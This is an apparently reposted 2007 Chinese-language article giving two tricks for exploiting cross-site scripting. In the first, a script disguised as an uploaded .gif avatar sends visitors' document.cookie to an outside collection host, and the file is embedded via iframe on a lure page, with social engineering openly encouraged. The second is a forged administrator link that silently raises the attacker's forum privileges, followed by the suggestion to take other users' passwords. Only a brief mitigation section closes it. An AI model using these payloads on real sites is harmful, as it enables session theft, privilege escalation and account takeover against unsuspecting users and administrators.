您的位置:首页 > 其它

跨站脚本执行漏洞利用技巧两则

2007-12-06 15:10 821 查看
谈到跨站脚本执行漏洞,想必大家已经比较熟悉了吧?这里向大家介绍两则利用跨站脚本执行漏洞攻击 的技巧,当然我也会为大家提供临时解决方法。废话少说,下面我就开始讲。

【技巧一】
大家都知道文件上载吧?很多网站都提供了这个功能。利用文件上载进行攻击的方法很多,就不赘述 了,这里主要介绍一下如何利用文件上载进行跨站脚本执行漏洞攻击。

我们还记得去年闹得沸沸扬扬的CrazyBird发现的IE的漏洞吧?原文可以从下面的地址得到:
http://archives.neohapsis.com/archives/bugtraq/2001-07/0675.html

明白我的意思了吗?我们可以在本地构造一个.txt文件或者.jpg文件,内容则可以是任意HTML代码,这 样上传后,只要我们知道上传后的地址,让别人访问这个地址,就可以起到跨站脚本执行漏洞攻击的效 果了,而且这样不必担心别人过滤含有“cookie”关键字的输入(虽然这是一种很没有意义的事)。

大家已经知道使用URL编码和重定向页面来隐藏攻击行为了,但是直接让人家访问一个带有很长查询串 的地址是不是很麻烦?能不能利用一个看起来很正常的地址来实施攻击呢?这其实也是向大家解释如何 进行上面的攻击。

我们都知道,正常情况下网站只能读取它自己设置的Cookie,这是靠域名来标识的。因此如果你想获取 某站点的Cookie就必须注意对域名的处理。

还是举个例子吧,假设某站点论坛地址为http://www.xyz.com/bbs/,提供了上传头像的功能,于是我们 就可以自己构造一个下面的头像文件:

thiz.gif

<script>
window.location.href=”http://c4st.51.net/tmp/info.php?'%2Bdocument.cookie;
</script>

这样,我们获得http://www.xyz.com/bbs/face/thiz.gif的地址,这样直接给别人似乎不好,随便找个别的什 么空间吧,比如说http://www.abc.com/index.html,我们在index.html页面中嵌入下面的语句:

<iframe src=” http://www.xyz.com/bbs/face/thiz.gif”> //可行性有待验证,这里主要是介绍方法

让别人访问http://www.abc.com/index.html是不是更好些?至于别人是否去访问,就看你社交工程学水平 了,不会还没毕业吧?:P

注意:如果主站和论坛在不同服务器,即域名不同,而主站某脚本存在CSS漏洞,论坛存在上载文件的 问题,要想获得主站的Cookie也是可以实现的,不过头像文件就需要修改一下:

thiz.gif

<script>
var url;
url="'[url=http://c4st.51.net/tmp/]http://c4st.51.net/tmp/ info.php?'%2Bdocument.cookie%3c/script%3e";
window.location.href=url;
</script>

其它部分类似。

【技巧二】
很多人都认为跨站脚本执行漏洞攻击只能获得Cookie,虽然我已经不止一次的重复过了!:( 甚至有 些程序员竟然在CGI程序中增加了过滤Cookie关键字的代码,我真是无话可说!下面我就介绍一下跨站 脚本执行漏洞的另外一个利用技巧,同时也想让大家知道这种过滤方式多么幼稚可笑。

例如:http://www.xyz.com/bbs/index.asp?user=thiz存在跨站脚本执行漏洞,但是该脚本检查了$user是否 存在Cookie关键字,呵呵。。。我们看来不能获取Cookie了,当然这里我们也不考虑是否可以通过什么 方法绕过该限制。那我们是不是可以换个思路,达到相同甚至更好的效果呢?

我们还知道这里的用户是分级的,提升用户级别的脚本为:
http://www.xyz.com/bbs/upgrage_user.asp?user=thiz&grade=0&admin_name=&admin_pass=

显然我们要想改变自己的级别得知道管理员的帐号密码,我们知道管理员的帐号密码吗?不知道!但是 我们仍可以做到这一点。因为我们可能利用Cookie,虽然我们不能获得它,但它就真真切切地呆在管理 员的主机上。当管理员访问下面的链接时,一般情况下,用户thiz的级别就被改变了。
http://www.xyz.com/bbs/upgrage_user.asp?user=thiz&grade=0
因为CGI程序为了方便,往往在没有提供帐号密码的情况下,使用Cookie中的信息作为认证信息。现在 你是管理员了,想知道别人的密码还不容易?!

当然,你也可以通过重定向浏览器来增加个人主页访问量,关闭窗口或者改变访问者头像之类的恶作 剧,不过不要太过分!:)

【临时解决方法】
对CGI程序员我就不想说什么了,注意检查所有用户输入,确保都是合法数据即可。说起来简单,具体 做起来就困难得多,好好努力吧。

对于用户来说,除了以前说过的关闭JavaScript支持之外,在遇到比较可疑的地址时,可以换用其他浏览 器(如Opera)看看HTML源代码,确定没有问题之后再访问。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: